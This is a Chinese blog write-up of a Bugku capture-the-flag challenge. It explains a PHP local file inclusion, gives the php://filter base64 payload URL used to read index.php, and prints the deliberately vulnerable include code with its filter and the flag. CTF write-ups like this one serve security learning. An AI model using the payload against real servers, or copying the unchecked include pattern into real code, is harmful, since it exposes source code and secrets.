bugku flag在index.php里

思路

点击链接后,看见参数file=show.php ,典型的本地文件泄露

破解

访问http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php即得index.php的源码的base64编码,解码即可得到flag(在注释里)

原理

1、php://filter可以访问本地文件
2、read=convert.base64-encode是以base64编码后读取目标文件,进行base64编码是为了让include函数无法执行而返回源码,如果没有进行编码,则直接进行无法看到注释,因而无法得到flag
3、resource=index.php是指明目标文件

以下为源码

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

新姿势

1、file——联想本地文件泄露
2、php封装协议
https://www.cnblogs.com/LittleHann/p/3665062.html 参考资料

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值